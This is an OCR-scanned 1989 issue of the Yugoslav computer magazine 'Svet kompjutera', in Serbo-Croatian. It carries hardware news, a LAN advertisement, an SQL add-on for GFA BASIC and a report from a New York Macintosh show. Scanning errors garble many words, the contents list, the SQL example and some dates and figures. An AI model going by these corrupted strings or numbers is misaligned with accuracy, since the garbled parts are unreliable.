
Na lieu raesta: U poseti Personal Computer World-u

Intervju: Prodali program

za 100.000 dolara

S

Najnovije igre i mape

Skole: Lisp, Prolog, GFA BASIC

PC servis: Desktop.inf u GEM-u

Amiga: Nasa igra. Fore iiazoni

Commodore 64:

Kako C-64 racuna i (ponovo) Moja igra

SYSTEM DYNAMICS
CORPORATION EUROPE



Tajna^^ie^speha
Brzo i uspesno komunkiranje je imperativ modernog sveta. \nformacije treba

usmeriti im pravi nacin i u pravom smeru. I to, izmedu ostalog omogucavaju
lokalne mreze, vas novi prozor u svet.

Sta je LAN?
Veza izmedu osobnih racunara koja omogutu-
|e, da svaki od njih koristi osim vlastitih i

zajednicke podatke. programe, kapacitete

diskova i periferne jedinice, naziva se lokalna

mreza

Koje su prednosti LAN?
* svaki koi’isnik ima pregled nad svim poda-

cima iz bilo kojeg dela preduzeca

* sve podatke moguce je smesta aZurirati i

decentra iizirano ih obraditi na razlicitim

radnim stanicama

* uvodenjem novih osobnih racunara

moguce je postupno povecati ' kapacitet

mreze

* preko elektronske poste moZemo slati

poruke saradnicima i kada ih nema na rad-

nom mestu
» izvodenje obrada i pristup do podataka su

u nadleZnosti ovlascenih radnika

* za sve korisnike podaci se mogu arhivirati

sa samo jednog radnog mesta

* lokainu mreZu moZemo povezati sa drugom
lokalnom mrezom, sa velikim racrrnarskim

sistemima ill sa javnom mreZom za prenos

podataka; svaki racunar u tom slucaju

deluje kao terminal bilo kojeg sistema

* racionalnije koriscenje perifernih jedinica

koje moze upotrebljavati vise radnih sta-

nica

Sta je BiroLan?

Lokalne mreze se razlikuju po nacinu povezi-

vanja osobnih racunara, po brzini prenosa

podataka I po kapacitetu operacionog siste-

ma

Osnova BiroLan je Novell Advanced NetWare
i kontrolerl Western Digital EtherCard Plus,

koji omogucuju brzinu prenosa 10 Mbits

Lokainu mreZu BiroLan sastavijaju IBM PC XT
ill AT kompatibiini racunari koje sadrZi i nasa

ponuda Od velicine mreze zavisi potreban

kapacitet file serverja (administratora siste-

mal. koji mora biti barem IBM PC AT kompa-
tibilan racunar

tnformacije i prodaja:

SiROSTROJ
Delovna or^cinizaciia za proizvodnio malih poslovnih sistemov
62000 Manbor Clavni trg 17b tel 062 20062



Tastatura se trekbolom

Key-Cat je naziv tastature koja

eliminise potrebu da na stolu seta-

te misa. Proizvodac navodi da

trekbol mozete okretati brzinom

od 800 milimetara u sckundi pri

cemu ce rezolucija trekbola biti

' 200 tacaka po incu. Tastatura ima

102 tastera i na raspolaganju su

vcrzije za mnoge svetske jezike.

Moze se koristiti i sa XT i sa AT
masinama. Cena u SR Nemackoj

je oko 350 DEM. Obratite paznju

na duzinu kabla od prikljucka za

tastaluru do serijskog (mis) pri-

kljucka - za neke verzije PC kuds-

ta to nece biti dovoljno.

O

EI-SHOP

U okvim prodajnc ponude

.Klektronske industrije" iz Nisa,

nalazi se dosta zanimijivih proiz-

I voda. Prc svega, zanimljivi su arit-

meticki koprocesori Intel 8087,

80287. 80387. Pored ovih proizvo-

da, kod El-ja sc mogu nad jos i la-

serski, termo, kolor i obicni mat-

ricni stampad za PC kompatibil-

ce, kao i modemi tipa 'By pass',

i

Sto se Lire 512 tice. El nudi i jef-

' tino prosirenje memorije na 640

1 kb. Njegova cena je otprilike

i
6(M).000 dinara. Liru 512 mozete

i

snabdeti misom i light penom

:
(kao i druge PC kompatibiice) pre-

ko El-ja. Ponuda Hl-ja sadrzi jos i

j

kabJ duzine 16 m sa RS232C inter-

fejsom za vezu izmedu Lire i ne-

1 kog kompatibilca.

O D. S.

;

Telefaks za A3 format

I lIF.AX je naziv novog telefaks

aparata firme Hitachi. Jednu stra-

1 nicu A3 formata prenosi preko te-

iefonskih linija za 15 sekundi. Vaz-

nije tehnicke karakteristike: tacke

dokumenta prepoznaju se u 16 ni-

j

jansi sive bojc, postoji i ekspresni

mod rada pri kom se dokument
prenosi brze, ali se na prijemnoj

strani dopija kopija slabijeg kvali-

teta. Prijem i slanje dol^menata

potpuno su automatski. HIF.AX

moze zapamtiti 20 brojeva svih te-

lefaksa sa kojima cesto ..razgova-

rate" i cak 100 koje pamti privre-

meno, u toku dana.

OD. T.

Hard/Soft scena Ureduje Tihomir Stan£evic

Devetoiglicni stampac

Matricni stampac firme Facit je-

dan je od standarnih modela po-

voljnih za kupovinu. Ispisuje od

80 do 136 znakova u redu brzi-

nom od 240 (draft) do 42 (NLQ)

znaka u sckundi. Pri NLQ nadny
rada matrica jednog znaka je

18x25 tacaka. Graficke moguc-

nosti krecu se od 60 do 240 tacaka

po incu. Poseduje paralelni inter-

fejs, opciono serijski. Emulira

IBM Proprinter i Epson LX-80b. U
dodatnu opremu spadaju kartridzi

sa novim tipovima slova, auto-

matski ubacivac pojedinacnih lis-

tova papira itd. Interesantna je ;

mogucnosl da ovaj stampac radi

kao teleks prijemnik.

Monitor na dugackoj ruci

Monitor firme Rein koristi sar-

fK>v LCD ekran. Dimenzije ureda-

ja su 32 X 26,5 x 3.1 cm. Ekran je

rezohicije 640 x 480 tacaka u 8

nijansi sive boje. Prikijucen na PC

podrzava CGA, EGA i VGA grafic-

ke standarde. Na vrhu ekrana se

pored monitora nalazi i mala sve-

tiljka. Prakticno, ali. verovatno.

skupo. O

Portabl kolor 386
j

Novi portabl PC firme Sharp

krasi kolor LCD ekran dijagonale
^

14 inca po VGA grafickom stan- i

dardu. Svaka od 640 x 480 tacaka
|

na njemu ntoze biti u jednoj od

512 boja zahvaljujud tome ^o cle- I

menti osnovnih boja (crvena, zele-
1

na i plava) mogu biti u osam ni-

jansi.

Procesor je 80386 na 20 MHz,
obezbeden je prostor za matema-

ticki koprocesor 80387. 2 Mb ug-

radenog RAM-a moze se prostrili

do 8 Mb. hard disk je kapacitela

40 Mb sa vremcnom pristupa is-

pod 20 ms. flopi od 3.5 inca je ka-

paciteta 1,44 Mb. Prikljucci: dva

slota za kartice, serijski RS232C,

paralelni Centronics, prikijucak za

monitor (po VGA, EGA, CGA i

Mono standardima). prikijucak za

misa i dodatnu tastaturu. Cena...

oko... hm... 20.000 DEM.
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izlazi jedfiom mese^o

brc^ 57; cena 8000 diaara
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NO ^Poiitika",
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011/320-552 (direktan) i
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Bzanidav Jovanovic
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Radovanovic

Likovno-graficka oprema
Viefawiav Soterevic

Marketing
Slobodan Vucic

Lektor
Du§ica Milanovic

Sekretar redakcije

Natasa Uskokovic

Dopisnici:

mr Zorica Jelic, Slobodan
Celenkovic (SAD), Velizar

Pavlovic (Svajcarska)

Stmcni saradnici:

Milan Vjestica, Srdan Vuctc,

Dusan Dimitrijevic, Boris

Dapic. Darko Ilic. Vladimir
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Majer, Predrag Milicevic

(ilustracije), Dusan Mikulic.
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Pavlovic, Vladimir Pecelj.

Nikola Popevic, Sasa Pusica,

Goran Radomirovic, Samir
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Dusan Stojicevic, Jovan
Strika. Dragana Timotic,
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Branka Dcjic

Rukoptse, crteie i ilustracije

ne vracamo

Priprana i kompjuffa-ska

obrada svdi tekstova ta ovom
brain uradeoa je aa racimaru

Apple Macintosh.

Hard/Soft scena

Besumni automobili

Automobili ce uskoro postati

potpuno besumni, ali samo privid-

no i za one koji su u njima. Uredaj

koji ce to omoguciti nema mnogo
veze sa kompjuterima, ali je vest

zanimljiva.

Stni^jaci automobilske Indus

trije Lotus i sa univerziteta u Sau-

temptonu u Velikoj Britaniji na
dobrom su putu da rese problem
buke u unutrasnjosti automobila,

Naime, nikakva zvucna izoiacija

kabine raznim materijalima ne
pomaze jer ostaje buka koja se

stvara vibracijama karoserije, se

dista pa i samog vazduha u kabini.

Uredaj koji su konstruisali pove-

zuje se sa muzickim uredajem u
autcHDobilu i uz vasu omiljenu
muziku ubacuje z\'uk koji je „sup-

rotan’ buci koja nastaje vibracija-

ma. Ovo .suprolan" (za one koji

se razumeju u fiziku) znaci da je

iste amplitude ali suprotne faze.

Jednostavno: buka u labini i zvuk
iz ovog uredaja se potiru i ostaje

ugodna muzil^. Da bi reagovanje

uredaja bilo dovoijno brzo koristi

se mail kompjutei^ sistem.

O

Mini hard/soft
• Commodore 64 je prva cetiri

meseca ove godine bio najproda-

vaniji kueni kompjuter u SR Ne-
mackoj U maju ga je smenila Ami-
ga 500. Atari 1040 ST je treci. Na
trzistu PC-ja manje je stabilno.

Trenutno je prvi Tandon PCA, sle-

di Commodore PCIO, a treci je

Compaq Deskpro 286.

• Olimpijada logickih igara od-

rzace se sredinom avgusta u Lon-

donu. Ucestovovace autori pro-

grama i speeijalizovanih kompju-
tera za preko 20 logi^h igara

(SalvGo. Dame. Bekgemon, kar

laske igre...). Dolazc Karpov, Kas-

parov i drugi, odriace se prva

svetska konfereneija na ovu temu
i dodeiiti mnoge nagrade.

• Svrt igsin S, spedjaino i^anje
Sveta kompjutera, u prodaji jc na
kioscima sirom zemlje. Predstav

Ija vam engiesku firmu Activema-

gic, gomilu igara. mapa. poukova i

poklanja Commodore 64 i druge

vredne nagrade.

• Portabl Macintosh se. prema
zvanicnim izjavama iz kompanije

Apple, nece pojaviti tako brzo, vc-

rovatno tek 19M. Razlog je, kako
kazu, u neadekvatnosti postojecih

pljosnatih ekrana. Medutim, pro-

blem nije u rezolueiji ill ostrini sli-

ke vec u tome sto se „kada brzo

pomerate misa strelica na ekranu

jedno vrcme ne prtmecuje"!?

• 3D spreaddieet odiKisno ta-

belami lulkuiator glavna je tema

novih programa za poslovnu
upotrebu. Pojavilo ih se nekoliko.

Svi nude obradu podataka po tri

ose, 3D graficki prikaz, makro na-

redbe, podrzavaju eliternc me-
morije, razmenu podataka sa dru-
gim aplikaeijaraa i rade sve ostalo

sto vam padne na pamef.

• OS/2 po miSljenju Microsofta

ne treba da ostane samo na rc
kompjuterima. Ambicija je da se

.preseli" i na druge i jace masine
konkurisuci pri tom Unix-u. Tes-

ko.

• Kompfoterska revohic^? §ta

je to? Od 45.000 ljudi na celnim

pozieijama u 8000 raznih kompa-
nija u SAD 70 odsto uopste ne ko-

risri kompjutere. Sto je jos gore,

samo 9 odsto .kompjuterski zaos-

talih" uopste razmislja o nabavci

neke masine u siedecih sest mesc-
ci. Tuzno.

• Zastita programa je tako lepo

pocela da nestaje. Medutim. firma

Ashton Tate (dBASE, Frame
w;ork...) se vraca takozvanim ,har-

dverskim kljucevima”. To je ura-

deno zbog vanamerickih tiiista

gde je razvijeno piratstvo. Eto njih

kod nas.

• Lego-kockke su nezaboravni

deo detinjstva mnogih od nas. Fir-

ma od nedavno pravi i robote,

siicne Fisher-ovim o kojima smo
pisali. Izumitelj Lego-kodcica !»
stao je pocasni predsednik sekeije

za istrauvanje metoda ucenja na

poznatom univerzitetu MIT. Nje-

gova predsednicka foteija u potpu-
nosti je napravljena od - Lego-

-kockica.

Opet emulacije

Av^nt-Garde Systems. 381 Pab-

lo Point Drive, Jacksonville. Flori-

da 32225 Tel; (904) 221-2904 po-

znat po orv'enom softversfcom PC-

-ditto emulatoru koji je toliko do-

bro napisan da na njemu radc i

vnrusi, ali i zadivijujure spor kad
treba. recimo, da sabere desetak

sestodfrenih broje\'a. najavio je iz-

lazak PC-ditto II. To je hardverski

emulator koji ima brzinu c^icnog

XT-a. Registrov'ani korisnici verzi-

ja 2.0 i 3.0 dobice ovaj proiz\’od za

30 procenata od pune cene. Na
trzistu ce se pojaviti poceikom je-

seni. Ova firma je poznata po hib-

ridnim tehnologijama i odrzava-

nju obecanja, ali i po niskim cena-

ma. Pitanje je samo koliko o\-akav

proizv'od ima smtsla, jer se u SAD
vec moze dofaiti XT kompatibilac

po ceni od 400 USD.
OD. M.

Veliki, ali tehnicar

Viking 1 je ime 19 inenog moni-
tora velikog ekrana i jos vtct rezo-

iueije. Proizvod je namenjen Atari

Mega ST masinama za upotrebu u

DTP i CAD/CAM aplikaeijama.

Rezolueija monitora je 1280 puta

960 tacaka. Frekveneija obnavlja-

nja slike je 66 herca pri cemu se is-

ertavaju sve linije, to jest slika je

non-interlace tipa. Devetnaest in-

cni ekran uz ovoliku rezoluciju

dovoljan je za istovremeni rad na

dve A4 stranice postavijene para-

lelno ili za full-size prikaz A3-Ian-

dscape tchnickog erteza. Uz moni-
tor se dobija graficka kartica koja

se smesta unutar Mega ST marine
i koja ima podno^ za matematic-

ki koprocesor 6S881 (sktH'o za dva
reda veiicine brzi od 80287) pri ce-

mu je sacuvana kompatibiinost sa

originalnom .Atari koprocesor-

skom plocom. Doduse, koproce-

sor radi samo sa nekim programi-

ma (Latice C. Pro Fotran 77). Sto

se tice kompatibilnosti softvera sa

ovom grafickom karticom, sigur-

no sa njom rade. koliko autor

ovog priloga, zna samo Calamus i

Dyna-CAD. Cuju se i giasine da ce

korporaeija .Atari prodavati ovaj

monitor kao svoj „sluzbeni', pod
nazivom Atari SM 194 monochro-
me monitor.

Ovo divno cudoviste ko^a 1995

USD, a moze se dobiti na adresi:

Moniterm Corp., 5740 Green Cir-

cle Dr.. Minnetonka. Minnesota
55343 USA Tel: (612) 935-4151.

OD. M.
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Sicnffle rnpice

Naucnici Univerziteta u Uver-

pulu uspeli su da u materi}alu iz-

buk nipicu pre^ka 2 atoma.

Glavna ulogu inia kconpjtiter koji

usmerava eiektronski snop i vrsi

busenie materijala stvarajud n^m
atmo^h dimenziia. Najzanitnlji-

vije u ovom poduh\'atu to sto

se piiiikom busen|a rupa |avt}a sa

obe strane materijala ill kao me-
huric na povrsini. Cemu sve to

^itzi? Pa. na primer, da bt se na
vrhu dode smestile tri enciklope-

dije.

OD. S.

Stize HU- megabitni

RAM _
Kako ce izgledali iriiste memo-

rijskih cipova 1991. godine? Geor-

ge H. Meilmeier, potpredsednik i

tehnicki direktor americke firme

Texas Instruments, daje svoja

predvidanja: trziste ce se zasiliti

dpovima sa 236 Kbita; DRAM sa 1

Mbilom bice zreo proizvod; 4

Mbitni dpovi ce se nalaziti u fazi

rasta, a 16 Mbitni u fazi uvodcnja

na trziste.

§ta ce biti materijal buducnosti?

Za mnoge je to galijum arsenid, all

ne i za potpredsednika TI; „GaU-

jum arsenid ce dopuniti sllicijum

all ga nikad nece moci zamenitl.

I^vu inovaciju u elektronskoj in-

dustriji predstavljace sjedinjavanje

ova dva materijala na jednom ci-pu* *.

Sta ce buducnost zaista doneti

tesko je predvideti u elektronskoj

Lndustriji. Razvoj ove grane je isu-

vise brz. Jedno je ipak sigurno;

personalni kompjuter ce jednog

dana postati neophodan uredaj

jednostavan za rukovanje kao sto

je to danas telefon. George H. He-

ilmeier: ..Tehnologija ce u nared-

nim decenijama omoguciti izgrad-

nju takvih kompjutera koji ce se

moci korlstili i tez prirucnika".

OD. T.

Safer za stampac

Bafer, proizvod firme ^Mosaic",

nalazi se na kablu za stampac, na-

paja se iz samog §tampaca i ima
kapacitet 64 Kb. Prednost dodat-

nog bafera za stampac je u tome
sto, u ovom slucaju, mozete posla-

ti 40 stranica otkucanog teksta ko-

ji ce se nakon toga automatski

stampati. a vas kompjuter ce biti

Slobodan za druge zadatke.

Bafer je namenjen za Stampace
sa standardnim Centronics pri-

kljuckom. Dimenzije uredaja su

75 X 55 X 15 mm. Proizvodac; Of-

fice Innovation, Richmond Bridge

House, 417-421 Richmond Road,

Twickenham, Midlescx, England
TWl 2EX.

O

Raze podataka iz GFA
BASIC-a

Rad sa bazama podataka izvodi

se uglavnom uz pomoc specijali-

zovanih programa koji su name-
njeni samo tome. Na zalost takvo

resenje je obicno skopcano sa ko-

riscenjem skupog i o^mnog pro-

grama za koji je potrebna dugot-

rajna i mukotrpna obuka. Zahva-

Ijujuci sklonosti Amerikanaca da

sve standardizuju 1987. godine iz-

dat je standard ANSI X3H2 koji je

Structured Query Language (ug-

lavnom poznat kao SQL) ustolicio

kao American Standard Database

Language.

Firma Regent Software, P. 0.

Box 14628, Long Beach, CA 90803

USA Tel: (213) 439-9664 proizvela

je SQL Database Add-On program

koji Gfa bejziku dodaje sve SQL
komande koje obuhvala standard.

Prirucnik ima samo trideset sest

stranica, ali je uz program, koji je i

sam napisan u Gfa bejziku, isporu-

cen i veliki tutorial. Ovo verovat-

no znaci da se aplikacija moze
kompajlirati i od nje stvoriti sa-

mostalan program, mada ni rese-

nje sa run-oniy interpreterom nije

previse neelegantno.

Pretpostavimo da je potrebno iz

baze izdvojiti imena i adrese Ijudi

cija Imena p^inju sa .J" i koji sta-

nuju u driavi Njujork i poredati ih

po alfebetu. U SQL jeziku pro-

gram koji ovo radi je:

SELECT name, address FROM maillist

WHERE name''j4t" AND state = "NT
ORDER BY name;

Pisan u obifnom Gfa bejziku. ovaj

program koji bi podatke iscilao iz

fajla u :^DBF obliku imao bi oko

90 linija.'Da biste izbegli pisanje

ovolikog programa uplatite 30

USD firmi Regent Software.

OD. M.

Novo kod Mikro knjige

Mtkro knjiga, poznati izdavai ra-

iunarske literature, po6ela je sa ra-

dom u novim prostorijama. To ct

verovatno doprineti pojavi novih i

dobrih knjiga na kuve smo vec

oavikii od ovog izdava£a. Adresa:

Petra Martioovica 6, 11030 Beog-

rad, telefon: 01 1-542 516.

U toku proslog meseca Mikro

kiyiga je izdala tri obnovijeca izda-

nja. To su: Commodore za sva vre-

mena, IBM PC Uvod u rad, DOS,
BASIC t Priradmk dBASE HI
PLUS.

Novo izdai^ o I^M PC
ra^narima prosireno je sa det^j-

nim opisom oper^vnih sistema

DOS 3.3, DOS 3.31 i DOS 4.0. Pri-

ru^ dBASE HI PLUS u novom
izdai^ obopceo je dctafniro opi-

som programa F^xBASE + , kop

sve vik ttlazi o upotrebu.

Sadi2ai-
SAD.

Macintosh na vacant
Na lieu mesta;

Perscmal Cooipater
World

Krivi poglecf

IMS MUV
CIMsInw
MIEL ‘•9

nroeramski iezta:

nohoc
usr

AtMi ST: GFA BASIC

Berza id^
Predstavljamo

Atari ST:
hard disk xa dware
SpectraBK

IS
ts
15

16
17

19
24

l2k)g
N^ackta

Latovanie sa teilirom
"Sveta kenonf^ufera* 43

MaK ogjasi 51
J/Oport 64

PC svet

DBSETOP.INF na fC-ja 2B
PC Tools 5.1 22
igara

HakersU bukvar 27
Avanture 29
C-64 intro servis 31
^>ectrum intro servis 32
Igre, mape 35, 59
A sta da radim.. 39
POKE cake 40
KCe, bWe... Speeman 61
Bice. bice... commodore 64 62
Amigfn kutrii 66

46

49

50

C^
Debeifkov ka&nlator

Im:
sTllTlS, 20...

Anura
Biblioteka bez biji^
Fore I fazonh

Ooktore pomagnjl^
Nasa fgra:

ILBM loader
-Amstrad:
Tltlemaker 3.3

Pretplata

Za na$u zemlju:

• za godinu dana 81.600 dinara

• za 6 meseci 40.800 dinara

• za 3 meseca 20.100 dinara

Za inostranstvo;

• za godinu dana 163.200 din.

• za 6 meseci 81.600 din.

• za 3 meseca 40.800 din.

Pretplata se vr§i na ziro-raCun,

broj 60801-601-29728 sa

obaveznom naznakoin; NO
..Perfftika*', OOUR .Prodaia",

pretplata na list „Svet

kompjutera".

Pretplata u stranoj valuti - godis-

n)a:

SAD USD 16.-

SRNEMACKA DEM 30.-

SVEDSKA SEK 102.-

ERANCUSKA FRF 101.-

gVAJCARSKA CHI- 26.-

Uplate iz inostranstva slati na
devizni racun NO .Perfitika' kod
.Invcstbanke" Beograd, broj

60811-620-63-257300-00054 uz

naznaku: pretplata na list „Svct

koiDi^utera'.
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Hard/Soft scena

LCD-monitor

Philips je u LCD tehniku inves-

tirao hiljade miliona dolara. Izme-

du ostalog, jedan deo tih sredstava

ulozen je u LCD fabriku u holan-

dskom gradu Herlenu, u proiz-

vodna postrojenja opitne fabrike u
Ajndhovenu i u jednu fabriku mo-
nitora na Tajvanu. Holandani ra-

de na dvema metodama aktivnog

LCD-a za televizore u boji i pasiv-

nog LCD-a za data-grafid^e disple-

je. Prvi rezultat ovog razvoja jeste

LCD-monitor PM 11211 sa crnim
znacima na beioj podlozi (paper-

white) u MDA, CGA ili EGA rezo-

luciji. Debljina ekrana je svega 4.5

cm.

Najvazniji deo na 3,3 kg teskom
monitoru jeste postolje koje moze
da se podesava. Potrosnja od SOW
sasvim je u granicama normale.

Slika se odiikuje stabilnom geo-

metrijom i ostrinom kao i odsus-

tvora treperenja. Nema statickog

praznjenja magnetskih smetnji niti

rendgenskog zracenja. Monitor
moze da se koristi zajedno sa in-

jerfejs karticom AVQ lOO/OOR (ce-

na oko 2000 DEM) ili sa RGB kon-
vertorom AVQ 050/00R (ccna oko
2350 DEM). U oba slu^ja moguce
je istovremeno prikljuCiti monitor
u boji (sa katodnim cevima) i LCD
monitor, interfejs kartica se po-

stavlja u kompjuter a RGB kon-
vertor se moze preko kabla pri-

kljuciti na PC. Predviden je i pose-

ban prikljucak za tastaturu, misa
ili svetlosnu olovku. Philips, 2000

Hambui^, BR Deutschland.

O D. T.

Kompjuter sa 1000

transpjutera

'PARSYS' je imc sistema koji je

izraden na univerzitetu u Sau-
temptonii u Engleskoj. Njegova
koncepcija je vrlo cudna - osnov-

na jedinica kompjutera zove se

'mrna tacka' (NODE - engl.) ko-

ja sadiii tacno 32 transpjutera -

takozvanih 'radnika' (WOR-
KMANS - engl.) koji vrse celokup-

nu obradu podataka. Ovaj sistem

moze da vrsi vise poslova istovre

mono ili da jedan posao podeli na
nekoliko delova koji ce se istovre-

meno obradi%'ati. Glavni stos je u

tome sto je i ovde primenjen sis

tern paralelne kompjuterske obra-

de koji je danas opste (precutno)

prihvacen kao savremeni nacin za

ubrzavanje rada kompjutera. A da

bi se spreciio nastajanje 'haosa' u
sistemu, pored 32 transpjutera u

svakoj 'cvornoj tafiki', koriste sc i

3 transpjutera koji uskiaduju para-

ieini rad. Da bi sve bilo jo§ fleksi-

bilnije, ostavijena je mogucnost
nadogradivanja preko 1000 tran

spjutera. Kada bismo hteli da izra-

zimo brzinu ovog sistema. mogli

bismo red da je brz kao super

-

kompjuter. a mozda i brzi (1500

megaflopsa).

Projekat je otkupila kompanija
'Thorn EMI' (Englcska), a njeni

strucnjaci smatraju da ce zbog ma-
le cene i velike fleksibilnosti PAR-
SYS (PARalel SYStem) nad siroku

primenu.

OD. S.

Predstavljanjem ovog laserskog

stampaca, IBM je pokazao javnos-

ti da poStuje Apple (sa razlogom -

prim. ur.). Naime, PagePrinter II

podrzava PostScript, emulira HP
Userjet i IBM ProPrinter a ima
paraleini i serijski kao i prikljucak

po standardu Appieovc mreie Ap-

pleTalk. Odiikuje se rezolueijom

od 300 tacaka po incu, dve Moto
role 68000, 2 ‘do 4 Mb RAM-a i 43

fonta u ROM-u kao i proslor za 60

u RAM-u (sa 4 Mb). Ja tih 6000 do
lara nemam!

O

Stampac sa programskom karticom

Clan nove Sikosha familije jeste

24-iglicni stampac SL-230 AI. Ne-

ophodne upravljacke informaeije

se memorisu prilikom ukljudva-

nja programske kartice. Po ceni

od so DEM za svaku dodatnu kar-

ticu moguce je programirati razli-

dte funiceije bez neophodnog pri-

lagodavanja §tampaca za svaku

primenu. StampaC ima devet pisa-

ma (Courier, Gothic, Orator, Pre-

stige, Elite. Script, OCR-A, OCR-
-B, S.Roman i S. Helvetica). Setovi

su ASCII i IBM u 17 razlidtih vari-

janti. Razmak izmedu znakova;

10, 12, 15. 17,1 i 20 znakova po in-

Mnt^o piksela

Megascan-monitori sa ekranom
od 19 inca po dijagonali i sa frek-

vendjom sUke od 72 Hz. ostvaniju

rezoluciju i do 4096x3300, od-

nosno 13,5 miliona vidljivih pikse-

la. Proizvodna linija UHR-3000
obuhvata cmo-bele uredaje sa vi-

deo data stepenima od 1,5 gigabita

u ^kundi i 300 dpi rezolueije. U
sA|tkUHR-2007 spadaju i uredaji

kod kojih tacke mogu biti u nijan-

sama sive, sa sirinom opsega od
500 MHz j rezolueijom od 200 dpi.

Za primenu u oblasti PC-a postoji

dodatna memorija za sliku sa dva

do sest Mb i interfejsima za VME i

AT bus. Memorija za sliku ima

graficki procesor TMS 34010 i Mo-
torolu 68020. Brzina ertanja, za !i-

nije. iznosi do 32 miliona piksela

u sekundi. Sam monitor kolta oko
12000 DEM a subsistem od 25000

DEM navise. (X5I Computer Ge-

neral, 8000 Miinchen, BR Deut-

schland.

OD. T.

cu. Rezoludja do 360 puta 360 ta=

caka po incu. Memorija od 64 Kb
se moze prosiriti za jos 64 Kb. Po-

stize brzinu do 230 znakova u se-

kundi u draftu i 77 znakova u ko-

respondentnom modu. Interfejsi:

Centronics i RS232C. Emulacija:

IBM Proprinter XL24 i Epson LQ-
1050. Pored traktora postoji i po-

luautomatsko pojedinacno ubaci-

vanje listova. Moguce je dograditi

i potpuno automatizovano ubaci-

vanje. Stampac ko^ta oko 2260

DEM. Sejkosha, 2000 Hamburg.
BR Deutschland,

OD. T.
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SAD

Specijatno za Svet kompjutera iz Nfujorka

MACINTOSH
BUSINESS
CONFERENCE
&EXPOSTDN

Macintosh na vasaru
U Njujorku je od 17. do 9. aprila 1989. godine odrzan, za sada
najveci, Mac sou u ovom gradu, na zalost namenjen biznismenima,
koroporacijama i kompjuterskim (Hi kako neki od njih sebe
nazivaju „data processing") profesionalcima. Kazemo, na zalost, jer

smo ocekivali izrrsnu selekciju grafickih, video i muzickih
programa zabvalfufuci ko/itna fe Macintosh stekao svoju sjajnu

ceputaciju, a suocili smo se sa gomilom spreadsheet programa
namenjenib racanovodama, programima za razne finansijske

analize i word processing, ukratko sve vrste software-a prisutnih

na slicnim festama za IBM PC od kojib odavno nikom nije zastao

dah. AH, biznis je biznis i cinjenica je da je Macintosh uspeo da
prodre a Wail Street, pa je i ovakva reklamna manifestacija,

reroratno, neophodna.

V Pise mr Zorica Jelic

7m ivi tiio
-
u high-tech vremenu u kome--

m Jsu, mozda, najomiljenije igracke vi-

Mi^deo i kompjuter. Mnogi bi, ipak,

umesto iznajmljenih kaseta glcdali i prikaziva-

li svoj sopstveni video, u kome bi bilo i snima-

ka ..uzivo" i kompjuterske grafike. Amiga- i

Macintosh su se odavno posvetiii ideji razvoja

kucn<^ video sistema koji bi obicnom amate-

ru bez TV studija i skupe opreme omogucio

bas to; da uz pomoc kompjutera kombinuje vi-

deo snimak i kompjutersku grafiku.

Graficka karlica ColorSpace 11 koja se poja-

vila jos januara 1988. godine i uspostavila

standard u desktop video produkciji zasnova-

noj na kompjuterima Macintosh !I i Macin-

tosh IIx, omogucava kombinovanje ulaznog

NTSC video signala i Mac grafike i stvaranje

iziaznog video signala profesionalnog kvalite-

ta koji se moze prikazati na standardnim

RGB/NTSC uredajima. Kartica je namenjena

sve vecem videodisk trziStu programa za obra-

zovanje, islrazivanje i uopste svih koji zahteva-

ju pristup velikim bazama podataka koje sad-

rze slike ili delove filmova.
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SAD

Isn proi7.vodac. .MASS Microsystems je u ja-

nuaru 1989. najavio novu karticu ColorSpa-
cefx, predvidenu za ujwtrebu i sa NTSC ali i sa

PAL i SECAM video signalotn. Ova video-pre-

cesor kartica dozvoljava koriscenje specijainih

efekata kao sto su smanjivanje slikc, prikaz

,kao u ogiedalu" i zumiranje. CoiorSpaccfx
„hvata" real-time signal brzinom od 30 kvad-

rata u sekundi (NTSC) ili 25 kvadrata u sekun-

di (PAL i SECAM). Uredaji razlicitih sistema

mogu se istovremcno povezati za karticu cime
se moze dobiti kombinovanje signala u jedan

rezultirajuci, Kartica prepoznaje video stan-

dard i adekvatno ga obraduje. Treperenjc slike

je smanjeno konvertovanjem video signala u
RGB signal, brzinom od 60 ili 67 kvadrata u
sekundi. Izlazni signal se moze prikazati na
.^pple Macintosh kolor monitoru ill bilo kom
kompatibilnom multisink monitoru.

Kombinovanje kartica CoiorSpacefx i Color-

Space II omogucava digitalizaciju video slike u

16.8 miliona nijansi jer svako] tackici pripada

24 bita za definisanje boje. Cena CoiorSpacefx

kartice je 2995 dolara, a kartice ColorSpace II

1995 dolara.

Kompanija RasterOps iz Santa Klare (Kali-

fornija) je pionir u razvoju 24-bitne True Color

tehnologije za Macintosh II kompjutere. Na
Mac Business izlozbi. RasterOps je prikazao

kartice ColorBoard 224 i ColorBoard 232. Ove
su kompatibilne sa .Apple 32-bitnom Quic-

kDraw tchnologijom i namenjene su Mac II

familiji kompjutcra.

ColorBoard 224 prilagodava rezoluciju vrsti

monitora koji se koristi; uz 19-incni Trinitron

monitor rezolucija je 1024x768, uz 16-incni

Trinitron monitor 800 x 600, a uz 13-incni Ap-
ple monitor 640x480. Kartica je kompatibil-

na sa svim Mac II kolor ili crno-belim aplika-

cijama jer se nacin rada moze podesiti na
1-bitni, 2. 4. 8 i 24-bitni. Specijalni efekti uklju-

cuju zumiranje dva ili cetiri puta. I kod ove

kartice paleta sadiii 16.8 miliona nijansi.

Na ColorBoard 224 moze se prikijuciti Ras-

terOps SFX kartica koja omc^ucava kombino-
vanje True Color grafike i NT^C i P.AL video

signala i stvaranje izlaznog RGB signala. SFX
kartica moze se sinhronizovati sa drugim, do-

datnim video uredajima (genlock). Cena Co-

lorBoard kartice je 5995 dolara.

ColorBoard 232, 32-bitna kartica namenje-
na Mac II kompjuterima koji koriste Apple

13-incni kolor monitor, jeftinija je varijanta

(kosta svega 2995 dolara). Rezolucija slike je

640 X 480. a nacin rada moze biti 1-bitni, 2,. 4.

8, 24 iii 32-bitni. I ova kartica se moze poveza-

ti sa SFX karticom za obradu uiaznih i izlaz-

nih video signala P.AL i NTSC sistema. Rczolu-

cija slike u kombinaciji sa NT^C signaiom je

640 X 486 a broj nijansi takpde 16.8 miliona.

MacSync
Sarenis od 16.8 miliona nijansi ne bi znacio

mnogo ako ne bi postojali monitor! na kojima

ce se prikazati. Za to su se izmedu ostaiih po-

trudile firme NEC, Monitoram i E-Machines.

NEC, koji je u IBM PC svetu poznat po svo-

jim Multisync monitorima, ovog puta je prika-

zao MacSync kolor monitor specijalno prav-

Ijen za .Apple Macintosh II Video Card karticu.

Uz monitor je ukljucen i program Valet, u

stvari koiekcija HyperCard „karata''. Valet sad-

rzi sve potrebne informacije vczana za koris-

cenje monitora.

